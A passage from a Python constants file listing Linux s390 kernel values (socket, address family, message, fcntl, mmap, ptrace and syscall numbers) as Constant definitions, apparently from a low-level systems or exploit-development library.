Constant('SO_INCOMING_CPU',49) SO_ATTACH_BPF = Constant('SO_ATTACH_BPF',50) SO_DETACH_BPF = Constant('SO_DETACH_BPF',27) SO_ATTACH_REUSEPORT_CBPF = Constant('SO_ATTACH_REUSEPORT_CBPF',51) SO_ATTACH_REUSEPORT_EBPF = Constant('SO_ATTACH_REUSEPORT_EBPF',52) SO_CNX_ADVICE = Constant('SO_CNX_ADVICE',53) SCM_TIMESTAMPING_OPT_STATS = Constant('SCM_TIMESTAMPING_OPT_STATS',54) SO_MEMINFO = Constant('SO_MEMINFO',55) SO_INCOMING_NAPI_ID = Constant('SO_INCOMING_NAPI_ID',56) SO_COOKIE = Constant('SO_COOKIE',57) SCM_TIMESTAMPING_PKTINFO = Constant('SCM_TIMESTAMPING_PKTINFO',58) SO_PEERGROUPS = Constant('SO_PEERGROUPS',59) SO_ZEROCOPY = Constant('SO_ZEROCOPY',60) SOCK_STREAM = Constant('SOCK_STREAM',1) SOCK_DGRAM = Constant('SOCK_DGRAM',2) SOCK_RAW = Constant('SOCK_RAW',3) SOCK_RDM = Constant('SOCK_RDM',4) SOCK_SEQPACKET = Constant('SOCK_SEQPACKET',5) SOCK_DCCP = Constant('SOCK_DCCP',6) SOCK_PACKET = Constant('SOCK_PACKET',10) UIO_FASTIOV = Constant('UIO_FASTIOV',8) UIO_MAXIOV = Constant('UIO_MAXIOV',1024) SCM_RIGHTS = Constant('SCM_RIGHTS',0x01) SCM_CREDENTIALS = Constant('SCM_CREDENTIALS',0x02) SCM_CONNECT = Constant('SCM_CONNECT',0x03) AF_UNSPEC = Constant('AF_UNSPEC',0) AF_UNIX = Constant('AF_UNIX',1) AF_LOCAL = Constant('AF_LOCAL',1) AF_INET = Constant('AF_INET',2) AF_AX25 = Constant('AF_AX25',3) AF_IPX = Constant('AF_IPX',4) AF_APPLETALK = Constant('AF_APPLETALK',5) AF_NETROM = Constant('AF_NETROM',6) AF_BRIDGE = Constant('AF_BRIDGE',7) AF_ATMPVC = Constant('AF_ATMPVC',8) AF_X25 = Constant('AF_X25',9) AF_INET6 = Constant('AF_INET6',10) AF_ROSE = Constant('AF_ROSE',11) AF_DECnet = Constant('AF_DECnet',12) AF_NETBEUI = Constant('AF_NETBEUI',13) AF_SECURITY = Constant('AF_SECURITY',14) AF_KEY = Constant('AF_KEY',15) AF_NETLINK = Constant('AF_NETLINK',16) AF_ROUTE = Constant('AF_ROUTE',16) AF_PACKET = Constant('AF_PACKET',17) AF_ASH = Constant('AF_ASH',18) AF_ECONET = Constant('AF_ECONET',19) AF_ATMSVC = Constant('AF_ATMSVC',20) AF_SNA = Constant('AF_SNA',22) AF_IRDA = Constant('AF_IRDA',23) AF_PPPOX = Constant('AF_PPPOX',24) AF_WANPIPE = Constant('AF_WANPIPE',25) AF_LLC = Constant('AF_LLC',26) AF_IB = Constant('AF_IB',27) AF_MPLS = Constant('AF_MPLS',28) AF_CAN = Constant('AF_CAN',29) AF_TIPC = Constant('AF_TIPC',30) AF_BLUETOOTH = Constant('AF_BLUETOOTH',31) AF_IUCV = Constant('AF_IUCV',32) AF_RXRPC = Constant('AF_RXRPC',33) AF_ISDN = Constant('AF_ISDN',34) AF_PHONET = Constant('AF_PHONET',35) AF_IEEE802154 = Constant('AF_IEEE802154',36) AF_CAIF = Constant('AF_CAIF',37) AF_ALG = Constant('AF_ALG',38) AF_NFC = Constant('AF_NFC',39) AF_VSOCK = Constant('AF_VSOCK',40) AF_KCM = Constant('AF_KCM',41) AF_QIPCRTR = Constant('AF_QIPCRTR',42) AF_SMC = Constant('AF_SMC',43) AF_MAX = Constant('AF_MAX',44) PF_UNSPEC = Constant('PF_UNSPEC',0) PF_UNIX = Constant('PF_UNIX',1) PF_LOCAL = Constant('PF_LOCAL',1) PF_INET = Constant('PF_INET',2) PF_AX25 = Constant('PF_AX25',3) PF_IPX = Constant('PF_IPX',4) PF_APPLETALK = Constant('PF_APPLETALK',5) PF_NETROM = Constant('PF_NETROM',6) PF_BRIDGE = Constant('PF_BRIDGE',7) PF_ATMPVC = Constant('PF_ATMPVC',8) PF_X25 = Constant('PF_X25',9) PF_INET6 = Constant('PF_INET6',10) PF_ROSE = Constant('PF_ROSE',11) PF_DECnet = Constant('PF_DECnet',12) PF_NETBEUI = Constant('PF_NETBEUI',13) PF_SECURITY = Constant('PF_SECURITY',14) PF_KEY = Constant('PF_KEY',15) PF_NETLINK = Constant('PF_NETLINK',16) PF_ROUTE = Constant('PF_ROUTE',16) PF_PACKET = Constant('PF_PACKET',17) PF_ASH = Constant('PF_ASH',18) PF_ECONET = Constant('PF_ECONET',19) PF_ATMSVC = Constant('PF_ATMSVC',20) PF_SNA = Constant('PF_SNA',22) PF_IRDA = Constant('PF_IRDA',23) PF_PPPOX = Constant('PF_PPPOX',24) PF_WANPIPE = Constant('PF_WANPIPE',25) PF_LLC = Constant('PF_LLC',26) PF_IB = Constant('PF_IB',27) PF_MPLS = Constant('PF_MPLS',28) PF_CAN = Constant('PF_CAN',29) PF_TIPC = Constant('PF_TIPC',30) PF_BLUETOOTH = Constant('PF_BLUETOOTH',31) PF_IUCV = Constant('PF_IUCV',32) PF_RXRPC = Constant('PF_RXRPC',33) PF_ISDN = Constant('PF_ISDN',34) PF_PHONET = Constant('PF_PHONET',35) PF_IEEE802154 = Constant('PF_IEEE802154',36) PF_CAIF = Constant('PF_CAIF',37) PF_ALG = Constant('PF_ALG',38) PF_NFC = Constant('PF_NFC',39) PF_VSOCK = Constant('PF_VSOCK',40) PF_KCM = Constant('PF_KCM',41) PF_QIPCRTR = Constant('PF_QIPCRTR',42) PF_SMC = Constant('PF_SMC',43) PF_MAX = Constant('PF_MAX',44) SOMAXCONN = Constant('SOMAXCONN',128) MSG_OOB = Constant('MSG_OOB',1) MSG_PEEK = Constant('MSG_PEEK',2) MSG_DONTROUTE = Constant('MSG_DONTROUTE',4) MSG_TRYHARD = Constant('MSG_TRYHARD',4) MSG_CTRUNC = Constant('MSG_CTRUNC',8) MSG_PROBE = Constant('MSG_PROBE',0x10) MSG_TRUNC = Constant('MSG_TRUNC',0x20) MSG_DONTWAIT = Constant('MSG_DONTWAIT',0x40) MSG_EOR = Constant('MSG_EOR',0x80) MSG_WAITALL = Constant('MSG_WAITALL',0x100) MSG_FIN = Constant('MSG_FIN',0x200) MSG_SYN = Constant('MSG_SYN',0x400) MSG_CONFIRM = Constant('MSG_CONFIRM',0x800) MSG_RST = Constant('MSG_RST',0x1000) MSG_ERRQUEUE = Constant('MSG_ERRQUEUE',0x2000) MSG_NOSIGNAL = Constant('MSG_NOSIGNAL',0x4000) MSG_MORE = Constant('MSG_MORE',0x8000) MSG_WAITFORONE = Constant('MSG_WAITFORONE',0x10000) MSG_SENDPAGE_NOTLAST = Constant('MSG_SENDPAGE_NOTLAST',0x20000) MSG_BATCH = Constant('MSG_BATCH',0x40000) MSG_EOF = Constant('MSG_EOF',0x200) MSG_ZEROCOPY = Constant('MSG_ZEROCOPY',0x4000000) MSG_FASTOPEN = Constant('MSG_FASTOPEN',0x20000000) MSG_CMSG_CLOEXEC = Constant('MSG_CMSG_CLOEXEC',0x40000000) SOL_IP = Constant('SOL_IP',0) SOL_TCP = Constant('SOL_TCP',6) SOL_UDP = Constant('SOL_UDP',17) SOL_IPV6 = Constant('SOL_IPV6',41) SOL_ICMPV6 = Constant('SOL_ICMPV6',58) SOL_SCTP = Constant('SOL_SCTP',132) SOL_UDPLITE = Constant('SOL_UDPLITE',136) SOL_RAW = Constant('SOL_RAW',255) SOL_IPX = Constant('SOL_IPX',256) SOL_AX25 = Constant('SOL_AX25',257) SOL_ATALK = Constant('SOL_ATALK',258) SOL_NETROM = Constant('SOL_NETROM',259) SOL_ROSE = Constant('SOL_ROSE',260) SOL_DECNET = Constant('SOL_DECNET',261) SOL_X25 = Constant('SOL_X25',262) SOL_PACKET = Constant('SOL_PACKET',263) SOL_ATM = Constant('SOL_ATM',264) SOL_AAL = Constant('SOL_AAL',265) SOL_IRDA = Constant('SOL_IRDA',266) SOL_NETBEUI = Constant('SOL_NETBEUI',267) SOL_LLC = Constant('SOL_LLC',268) SOL_DCCP = Constant('SOL_DCCP',269) SOL_NETLINK = Constant('SOL_NETLINK',270) SOL_TIPC = Constant('SOL_TIPC',271) SOL_RXRPC = Constant('SOL_RXRPC',272) SOL_PPPOL2TP = Constant('SOL_PPPOL2TP',273) SOL_BLUETOOTH = Constant('SOL_BLUETOOTH',274) SOL_PNPIPE = Constant('SOL_PNPIPE',275) SOL_RDS = Constant('SOL_RDS',276) SOL_IUCV = Constant('SOL_IUCV',277) SOL_CAIF = Constant('SOL_CAIF',278) SOL_ALG = Constant('SOL_ALG',279) SOL_NFC = Constant('SOL_NFC',280) SOL_KCM = Constant('SOL_KCM',281) SOL_TLS = Constant('SOL_TLS',282) IPX_TYPE = Constant('IPX_TYPE',1) SHUT_RD = Constant('SHUT_RD',0) SHUT_WR = Constant('SHUT_WR',1) SHUT_RDWR = Constant('SHUT_RDWR',2) NI_NOFQDN = Constant('NI_NOFQDN',1) NI_NUMERICHOST = Constant('NI_NUMERICHOST',2) NI_NAMEREQD = Constant('NI_NAMEREQD',4) NI_NUMERICSERV = Constant('NI_NUMERICSERV',8) NI_DGRAM = Constant('NI_DGRAM',16) EAI_FAMILY = Constant('EAI_FAMILY',-1) EAI_SOCKTYPE = Constant('EAI_SOCKTYPE',-2) EAI_BADFLAGS = Constant('EAI_BADFLAGS',-3) EAI_NONAME = Constant('EAI_NONAME',-4) EAI_SERVICE = Constant('EAI_SERVICE',-5) EAI_ADDRFAMILY = Constant('EAI_ADDRFAMILY',-6) EAI_NODATA = Constant('EAI_NODATA',-7) EAI_MEMORY = Constant('EAI_MEMORY',-8) EAI_FAIL = Constant('EAI_FAIL',-9) EAI_AGAIN = Constant('EAI_AGAIN',-10) EAI_SYSTEM = Constant('EAI_SYSTEM',-11) AI_NUMERICHOST = Constant('AI_NUMERICHOST',1) AI_CANONNAME = Constant('AI_CANONNAME',2) AI_PASSIVE = Constant('AI_PASSIVE',4) AI_NUMERICSERV = Constant('AI_NUMERICSERV',8) AI_ADDRCONFIG = Constant('AI_ADDRCONFIG',16) AI_V4MAPPED = Constant('AI_V4MAPPED',32) AI_ALL = Constant('AI_ALL',64) SIOCADDRT = Constant('SIOCADDRT',0x890B) SIOCDELRT = Constant('SIOCDELRT',0x890C) SIOCRTMSG = Constant('SIOCRTMSG',0x890D) SIOCGIFNAME = Constant('SIOCGIFNAME',0x8910) SIOCSIFLINK = Constant('SIOCSIFLINK',0x8911) SIOCGIFCONF = Constant('SIOCGIFCONF',0x8912) SIOCGIFFLAGS = Constant('SIOCGIFFLAGS',0x8913) SIOCSIFFLAGS = Constant('SIOCSIFFLAGS',0x8914) SIOCGIFADDR = Constant('SIOCGIFADDR',0x8915) SIOCSIFADDR = Constant('SIOCSIFADDR',0x8916) SIOCGIFDSTADDR = Constant('SIOCGIFDSTADDR',0x8917) SIOCSIFDSTADDR = Constant('SIOCSIFDSTADDR',0x8918) SIOCGIFBRDADDR = Constant('SIOCGIFBRDADDR',0x8919) SIOCSIFBRDADDR = Constant('SIOCSIFBRDADDR',0x891a) SIOCGIFNETMASK = Constant('SIOCGIFNETMASK',0x891b) SIOCSIFNETMASK = Constant('SIOCSIFNETMASK',0x891c) SIOCGIFMETRIC = Constant('SIOCGIFMETRIC',0x891d) SIOCSIFMETRIC = Constant('SIOCSIFMETRIC',0x891e) SIOCGIFMEM = Constant('SIOCGIFMEM',0x891f) SIOCSIFMEM = Constant('SIOCSIFMEM',0x8920) SIOCGIFMTU = Constant('SIOCGIFMTU',0x8921) SIOCSIFMTU = Constant('SIOCSIFMTU',0x8922) SIOCSIFNAME = Constant('SIOCSIFNAME',0x8923) SIOCSIFHWADDR = Constant('SIOCSIFHWADDR',0x8924) SIOCGIFENCAP = Constant('SIOCGIFENCAP',0x8925) SIOCSIFENCAP = Constant('SIOCSIFENCAP',0x8926) SIOCGIFHWADDR = Constant('SIOCGIFHWADDR',0x8927) SIOCGIFSLAVE = Constant('SIOCGIFSLAVE',0x8929) SIOCSIFSLAVE = Constant('SIOCSIFSLAVE',0x8930) SIOCADDMULTI = Constant('SIOCADDMULTI',0x8931) SIOCDELMULTI = Constant('SIOCDELMULTI',0x8932) SIOCGIFINDEX = Constant('SIOCGIFINDEX',0x8933) SIOGIFINDEX = Constant('SIOGIFINDEX',0x8933) SIOCSIFPFLAGS = Constant('SIOCSIFPFLAGS',0x8934) SIOCGIFPFLAGS = Constant('SIOCGIFPFLAGS',0x8935) SIOCDIFADDR = Constant('SIOCDIFADDR',0x8936) SIOCSIFHWBROADCAST = Constant('SIOCSIFHWBROADCAST',0x8937) SIOCGIFCOUNT = Constant('SIOCGIFCOUNT',0x8938) SIOCGIFBR = Constant('SIOCGIFBR',0x8940) SIOCSIFBR = Constant('SIOCSIFBR',0x8941) SIOCGIFTXQLEN = Constant('SIOCGIFTXQLEN',0x8942) SIOCSIFTXQLEN = Constant('SIOCSIFTXQLEN',0x8943) SIOCGIFDIVERT = Constant('SIOCGIFDIVERT',0x8944) SIOCSIFDIVERT = Constant('SIOCSIFDIVERT',0x8945) SIOCETHTOOL = Constant('SIOCETHTOOL',0x8946) SIOCDARP = Constant('SIOCDARP',0x8953) SIOCGARP = Constant('SIOCGARP',0x8954) SIOCSARP = Constant('SIOCSARP',0x8955) SIOCDRARP = Constant('SIOCDRARP',0x8960) SIOCGRARP = Constant('SIOCGRARP',0x8961) SIOCSRARP = Constant('SIOCSRARP',0x8962) SIOCGIFMAP = Constant('SIOCGIFMAP',0x8970) SIOCSIFMAP = Constant('SIOCSIFMAP',0x8971) SIOCADDDLCI = Constant('SIOCADDDLCI',0x8980) SIOCDELDLCI = Constant('SIOCDELDLCI',0x8981) SIOCDEVPRIVATE = Constant('SIOCDEVPRIVATE',0x89F0) F_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024) O_ACCMODE = Constant('O_ACCMODE',0o003) O_RDONLY = Constant('O_RDONLY',0o0) O_WRONLY = Constant('O_WRONLY',0o1) O_RDWR = Constant('O_RDWR',0o2) O_CREAT = Constant('O_CREAT',0o100) O_EXCL = Constant('O_EXCL',0o200) O_NOCTTY = Constant('O_NOCTTY',0o400) O_TRUNC = Constant('O_TRUNC',0o1000) O_APPEND = Constant('O_APPEND',0o2000) O_NONBLOCK = Constant('O_NONBLOCK',0o4000) O_NDELAY = Constant('O_NDELAY',0o4000) O_DSYNC = Constant('O_DSYNC',0o10000) FASYNC = Constant('FASYNC',0o20000) O_DIRECT = Constant('O_DIRECT',0o40000) O_LARGEFILE = Constant('O_LARGEFILE',0o100000) O_DIRECTORY = Constant('O_DIRECTORY',0o200000) O_NOFOLLOW = Constant('O_NOFOLLOW',0o400000) O_NOATIME = Constant('O_NOATIME',0o1000000) O_CLOEXEC = Constant('O_CLOEXEC',0o2000000) O_SYNC = Constant('O_SYNC',(0o10000|0o4000000)) O_PATH = Constant('O_PATH',0o10000000) __O_TMPFILE = Constant('__O_TMPFILE',0o20000000) F_DUPFD = Constant('F_DUPFD',0) F_GETFD = Constant('F_GETFD',1) F_SETFD = Constant('F_SETFD',2) F_GETFL = Constant('F_GETFL',3) F_SETFL = Constant('F_SETFL',4) F_GETLK = Constant('F_GETLK',5) F_SETLK = Constant('F_SETLK',6) F_SETLKW = Constant('F_SETLKW',7) F_SETOWN = Constant('F_SETOWN',8) F_GETOWN = Constant('F_GETOWN',9) F_SETSIG = Constant('F_SETSIG',10) F_GETSIG = Constant('F_GETSIG',11) F_GETLK64 = Constant('F_GETLK64',12) F_SETLK64 = Constant('F_SETLK64',13) F_SETLKW64 = Constant('F_SETLKW64',14) FD_CLOEXEC = Constant('FD_CLOEXEC',1) F_RDLCK = Constant('F_RDLCK',0) F_WRLCK = Constant('F_WRLCK',1) F_UNLCK = Constant('F_UNLCK',2) F_EXLCK = Constant('F_EXLCK',4) F_SHLCK = Constant('F_SHLCK',8) F_INPROGRESS = Constant('F_INPROGRESS',16) LOCK_SH = Constant('LOCK_SH',1) LOCK_EX = Constant('LOCK_EX',2) LOCK_NB = Constant('LOCK_NB',4) LOCK_UN = Constant('LOCK_UN',8) LOCK_MAND = Constant('LOCK_MAND',32) LOCK_READ = Constant('LOCK_READ',64) LOCK_WRITE = Constant('LOCK_WRITE',128) LOCK_RW = Constant('LOCK_RW',192) O_TMPFILE = Constant('O_TMPFILE',(0o20000000 | 0o200000)) O_ASYNC = Constant('O_ASYNC',0o20000) F_SETOWN_EX = Constant('F_SETOWN_EX',15) F_GETOWN_EX = Constant('F_GETOWN_EX',16) F_GETOWNER_UIDS = Constant('F_GETOWNER_UIDS',17) F_OFD_GETLK = Constant('F_OFD_GETLK',36) F_OFD_SETLK = Constant('F_OFD_SETLK',37) F_OFD_SETLKW = Constant('F_OFD_SETLKW',38) F_OWNER_TID = Constant('F_OWNER_TID',0) F_OWNER_PID = Constant('F_OWNER_PID',1) F_OWNER_PGRP = Constant('F_OWNER_PGRP',2) AT_FDCWD = Constant('AT_FDCWD',-100) AT_SYMLINK_NOFOLLOW = Constant('AT_SYMLINK_NOFOLLOW',0x100) AT_REMOVEDIR = Constant('AT_REMOVEDIR',0x200) AT_SYMLINK_FOLLOW = Constant('AT_SYMLINK_FOLLOW',0x400) AT_NO_AUTOMOUNT = Constant('AT_NO_AUTOMOUNT',0x800) AT_EMPTY_PATH = Constant('AT_EMPTY_PATH',0x1000) AT_EACCESS = Constant('AT_EACCESS',0x200) MREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1) MREMAP_FIXED = Constant('MREMAP_FIXED',2) PROT_READ = Constant('PROT_READ',0x1) PROT_WRITE = Constant('PROT_WRITE',0x2) PROT_EXEC = Constant('PROT_EXEC',0x4) PROT_SEM = Constant('PROT_SEM',0x8) PROT_NONE = Constant('PROT_NONE',0x0) PROT_GROWSDOWN = Constant('PROT_GROWSDOWN',0x01000000) PROT_GROWSUP = Constant('PROT_GROWSUP',0x02000000) MAP_SHARED = Constant('MAP_SHARED',0x01) MAP_PRIVATE = Constant('MAP_PRIVATE',0x02) MAP_TYPE = Constant('MAP_TYPE',0xf) MADV_REMOVE = Constant('MADV_REMOVE',9) MADV_DONTFORK = Constant('MADV_DONTFORK',10) MADV_DOFORK = Constant('MADV_DOFORK',11) MADV_MERGEABLE = Constant('MADV_MERGEABLE',12) MADV_UNMERGEABLE = Constant('MADV_UNMERGEABLE',13) MADV_HUGEPAGE = Constant('MADV_HUGEPAGE',14) MADV_NOHUGEPAGE = Constant('MADV_NOHUGEPAGE',15) MADV_DONTDUMP = Constant('MADV_DONTDUMP',16) MADV_DODUMP = Constant('MADV_DODUMP',17) MADV_HWPOISON = Constant('MADV_HWPOISON',100) MADV_SOFT_OFFLINE = Constant('MADV_SOFT_OFFLINE',101) MLOCK_ONFAULT = Constant('MLOCK_ONFAULT',1) MAP_FIXED = Constant('MAP_FIXED',0x10) MAP_ANONYMOUS = Constant('MAP_ANONYMOUS',0x20) MAP_GROWSDOWN = Constant('MAP_GROWSDOWN',0x0100) MAP_DENYWRITE = Constant('MAP_DENYWRITE',0x0800) MAP_EXECUTABLE = Constant('MAP_EXECUTABLE',0x1000) MAP_LOCKED = Constant('MAP_LOCKED',0x2000) MAP_NORESERVE = Constant('MAP_NORESERVE',0x4000) MAP_POPULATE = Constant('MAP_POPULATE',0x8000) MAP_NONBLOCK = Constant('MAP_NONBLOCK',0x10000) MAP_STACK = Constant('MAP_STACK',0x20000) MAP_HUGETLB = Constant('MAP_HUGETLB',0x40000) MS_ASYNC = Constant('MS_ASYNC',1) MS_INVALIDATE = Constant('MS_INVALIDATE',2) MS_SYNC = Constant('MS_SYNC',4) MCL_CURRENT = Constant('MCL_CURRENT',1) MCL_FUTURE = Constant('MCL_FUTURE',2) MCL_ONFAULT = Constant('MCL_ONFAULT',4) MADV_NORMAL = Constant('MADV_NORMAL',0x0) MADV_RANDOM = Constant('MADV_RANDOM',0x1) MADV_SEQUENTIAL = Constant('MADV_SEQUENTIAL',0x2) MADV_WILLNEED = Constant('MADV_WILLNEED',0x3) MADV_DONTNEED = Constant('MADV_DONTNEED',0x4) MAP_ANON = Constant('MAP_ANON',0x20) MAP_FILE = Constant('MAP_FILE',0) POSIX_MADV_NORMAL = Constant('POSIX_MADV_NORMAL',0x0) POSIX_MADV_SEQUENTIAL = Constant('POSIX_MADV_SEQUENTIAL',0x2) POSIX_MADV_RANDOM = Constant('POSIX_MADV_RANDOM',0x1) POSIX_MADV_WILLNEED = Constant('POSIX_MADV_WILLNEED',0x3) POSIX_MADV_DONTNEED = Constant('POSIX_MADV_DONTNEED',0x4) PTRACE_TRACEME = Constant('PTRACE_TRACEME',0) PTRACE_PEEKTEXT = Constant('PTRACE_PEEKTEXT',1) PTRACE_PEEKDATA = Constant('PTRACE_PEEKDATA',2) PTRACE_PEEKUSR = Constant('PTRACE_PEEKUSR',3) PTRACE_PEEKUSER = Constant('PTRACE_PEEKUSER',3) PTRACE_POKETEXT = Constant('PTRACE_POKETEXT',4) PTRACE_POKEDATA = Constant('PTRACE_POKEDATA',5) PTRACE_POKEUSR = Constant('PTRACE_POKEUSR',6) PTRACE_POKEUSER = Constant('PTRACE_POKEUSER',6) PTRACE_CONT = Constant('PTRACE_CONT',7) PTRACE_KILL = Constant('PTRACE_KILL',8) PTRACE_SINGLESTEP = Constant('PTRACE_SINGLESTEP',9) PTRACE_ATTACH = Constant('PTRACE_ATTACH',0x10) PTRACE_DETACH = Constant('PTRACE_DETACH',0x11) PTRACE_SYSCALL = Constant('PTRACE_SYSCALL',24) PTRACE_GETEVENTMSG = Constant('PTRACE_GETEVENTMSG',0x4201) PTRACE_GETSIGINFO = Constant('PTRACE_GETSIGINFO',0x4202) PTRACE_SETSIGINFO = Constant('PTRACE_SETSIGINFO',0x4203) PTRACE_O_TRACESYSGOOD = Constant('PTRACE_O_TRACESYSGOOD',0x00000001) PTRACE_O_TRACEFORK = Constant('PTRACE_O_TRACEFORK',0x00000002) PTRACE_O_TRACEVFORK = Constant('PTRACE_O_TRACEVFORK',0x00000004) PTRACE_O_TRACECLONE = Constant('PTRACE_O_TRACECLONE',0x00000008) PTRACE_O_TRACEEXEC = Constant('PTRACE_O_TRACEEXEC',0x00000010) PTRACE_O_TRACEVFORKDONE = Constant('PTRACE_O_TRACEVFORKDONE',0x00000020) PTRACE_O_TRACEEXIT = Constant('PTRACE_O_TRACEEXIT',0x00000040) PTRACE_O_MASK = Constant('PTRACE_O_MASK',0x0000007f) PTRACE_EVENT_FORK = Constant('PTRACE_EVENT_FORK',1) PTRACE_EVENT_VFORK = Constant('PTRACE_EVENT_VFORK',2) PTRACE_EVENT_CLONE = Constant('PTRACE_EVENT_CLONE',3) PTRACE_EVENT_EXEC = Constant('PTRACE_EVENT_EXEC',4) PTRACE_EVENT_VFORK_DONE = Constant('PTRACE_EVENT_VFORK_DONE',5) PTRACE_EVENT_EXIT = Constant('PTRACE_EVENT_EXIT',6) PT_TRACE_ME = Constant('PT_TRACE_ME',0) PT_READ_I = Constant('PT_READ_I',1) PT_READ_D = Constant('PT_READ_D',2) PT_READ_U = Constant('PT_READ_U',3) PT_WRITE_I = Constant('PT_WRITE_I',4) PT_WRITE_D = Constant('PT_WRITE_D',5) PT_WRITE_U = Constant('PT_WRITE_U',6) PT_CONTINUE = Constant('PT_CONTINUE',7) PT_KILL = Constant('PT_KILL',8) PT_STEP = Constant('PT_STEP',9) PT_ATTACH = Constant('PT_ATTACH',0x10) PT_DETACH = Constant('PT_DETACH',0x11) PT_PSWMASK = Constant('PT_PSWMASK',0x00) PT_PSWADDR = Constant('PT_PSWADDR',0x04) PT_GPR0 = Constant('PT_GPR0',0x08) PT_GPR1 = Constant('PT_GPR1',0x0C) PT_GPR2 = Constant('PT_GPR2',0x10) PT_GPR3 = Constant('PT_GPR3',0x14) PT_GPR4 = Constant('PT_GPR4',0x18) PT_GPR5 = Constant('PT_GPR5',0x1C) PT_GPR6 = Constant('PT_GPR6',0x20) PT_GPR7 = Constant('PT_GPR7',0x24) PT_GPR8 = Constant('PT_GPR8',0x28) PT_GPR9 = Constant('PT_GPR9',0x2C) PT_GPR10 = Constant('PT_GPR10',0x30) PT_GPR11 = Constant('PT_GPR11',0x34) PT_GPR12 = Constant('PT_GPR12',0x38) PT_GPR13 = Constant('PT_GPR13',0x3C) PT_GPR14 = Constant('PT_GPR14',0x40) PT_GPR15 = Constant('PT_GPR15',0x44) PT_ACR0 = Constant('PT_ACR0',0x48) PT_ACR1 = Constant('PT_ACR1',0x4C) PT_ACR2 = Constant('PT_ACR2',0x50) PT_ACR3 = Constant('PT_ACR3',0x54) PT_ACR4 = Constant('PT_ACR4',0x58) PT_ACR5 = Constant('PT_ACR5',0x5C) PT_ACR6 = Constant('PT_ACR6',0x60) PT_ACR7 = Constant('PT_ACR7',0x64) PT_ACR8 = Constant('PT_ACR8',0x68) PT_ACR9 = Constant('PT_ACR9',0x6C) PT_ACR10 = Constant('PT_ACR10',0x70) PT_ACR11 = Constant('PT_ACR11',0x74) PT_ACR12 = Constant('PT_ACR12',0x78) PT_ACR13 = Constant('PT_ACR13',0x7C) PT_ACR14 = Constant('PT_ACR14',0x80) PT_ACR15 = Constant('PT_ACR15',0x84) PT_ORIGGPR2 = Constant('PT_ORIGGPR2',0x88) PT_FPC = Constant('PT_FPC',0x90) PT_FPR0_HI = Constant('PT_FPR0_HI',0x98) PT_FPR0_LO = Constant('PT_FPR0_LO',0x9C) PT_FPR1_HI = Constant('PT_FPR1_HI',0xA0) PT_FPR1_LO = Constant('PT_FPR1_LO',0xA4) PT_FPR2_HI = Constant('PT_FPR2_HI',0xA8) PT_FPR2_LO = Constant('PT_FPR2_LO',0xAC) PT_FPR3_HI = Constant('PT_FPR3_HI',0xB0) PT_FPR3_LO = Constant('PT_FPR3_LO',0xB4) PT_FPR4_HI = Constant('PT_FPR4_HI',0xB8) PT_FPR4_LO = Constant('PT_FPR4_LO',0xBC) PT_FPR5_HI = Constant('PT_FPR5_HI',0xC0) PT_FPR5_LO = Constant('PT_FPR5_LO',0xC4) PT_FPR6_HI = Constant('PT_FPR6_HI',0xC8) PT_FPR6_LO = Constant('PT_FPR6_LO',0xCC) PT_FPR7_HI = Constant('PT_FPR7_HI',0xD0) PT_FPR7_LO = Constant('PT_FPR7_LO',0xD4) PT_FPR8_HI = Constant('PT_FPR8_HI',0xD8) PT_FPR8_LO = Constant('PT_FPR8_LO',0XDC) PT_FPR9_HI = Constant('PT_FPR9_HI',0xE0) PT_FPR9_LO = Constant('PT_FPR9_LO',0xE4) PT_FPR10_HI = Constant('PT_FPR10_HI',0xE8) PT_FPR10_LO = Constant('PT_FPR10_LO',0xEC) PT_FPR11_HI = Constant('PT_FPR11_HI',0xF0) PT_FPR11_LO = Constant('PT_FPR11_LO',0xF4) PT_FPR12_HI = Constant('PT_FPR12_HI',0xF8) PT_FPR12_LO = Constant('PT_FPR12_LO',0xFC) PT_FPR13_HI = Constant('PT_FPR13_HI',0x100) PT_FPR13_LO = Constant('PT_FPR13_LO',0x104) PT_FPR14_HI = Constant('PT_FPR14_HI',0x108) PT_FPR14_LO = Constant('PT_FPR14_LO',0x10C) PT_FPR15_HI = Constant('PT_FPR15_HI',0x110) PT_FPR15_LO = Constant('PT_FPR15_LO',0x114) PT_CR_9 = Constant('PT_CR_9',0x118) PT_CR_10 = Constant('PT_CR_10',0x11C) PT_CR_11 = Constant('PT_CR_11',0x120) PT_IEEE_IP = Constant('PT_IEEE_IP',0x13C) PT_LASTOFF = Constant('PT_LASTOFF',0x13C) PT_ENDREGS = Constant('PT_ENDREGS',0x140-1) NUM_GPRS = Constant('NUM_GPRS',16) NUM_FPRS = Constant('NUM_FPRS',16) NUM_CRS = Constant('NUM_CRS',16) NUM_ACRS = Constant('NUM_ACRS',16) GPR_SIZE = Constant('GPR_SIZE',4) FPR_SIZE = Constant('FPR_SIZE',8) FPC_SIZE = Constant('FPC_SIZE',4) FPC_PAD_SIZE = Constant('FPC_PAD_SIZE',4) CR_SIZE = Constant('CR_SIZE',4) ACR_SIZE = Constant('ACR_SIZE',4) STACK_FRAME_OVERHEAD = Constant('STACK_FRAME_OVERHEAD',96) FPC_EXCEPTION_MASK = Constant('FPC_EXCEPTION_MASK',0xF8000000) FPC_FLAGS_MASK = Constant('FPC_FLAGS_MASK',0x00F80000) FPC_DXC_MASK = Constant('FPC_DXC_MASK',0x0000FF00) FPC_RM_MASK = Constant('FPC_RM_MASK',0x00000003) FPC_VALID_MASK = Constant('FPC_VALID_MASK',0xF8F8FF03) PER_EM_MASK = Constant('PER_EM_MASK',0xE8000000) PTRACE_PEEKUSR_AREA = Constant('PTRACE_PEEKUSR_AREA',0x5000) PTRACE_POKEUSR_AREA = Constant('PTRACE_POKEUSR_AREA',0x5001) PTRACE_PEEKTEXT_AREA = Constant('PTRACE_PEEKTEXT_AREA',0x5002) PTRACE_PEEKDATA_AREA = Constant('PTRACE_PEEKDATA_AREA',0x5003) PTRACE_POKETEXT_AREA = Constant('PTRACE_POKETEXT_AREA',0x5004) PTRACE_POKEDATA_AREA = Constant('PTRACE_POKEDATA_AREA',0x5005) PTRACE_PROT = Constant('PTRACE_PROT',21) S390_SYSCALL_SIZE = Constant('S390_SYSCALL_SIZE',2) SYS_accept4 = Constant('SYS_accept4',364) SYS_access = Constant('SYS_access',33) SYS_acct = Constant('SYS_acct',51) SYS_add_key = Constant('SYS_add_key',278) SYS_adjtimex = Constant('SYS_adjtimex',124) SYS_afs_syscall = Constant('SYS_afs_syscall',137) SYS_alarm = Constant('SYS_alarm',27) SYS_bdflush = Constant('SYS_bdflush',134) 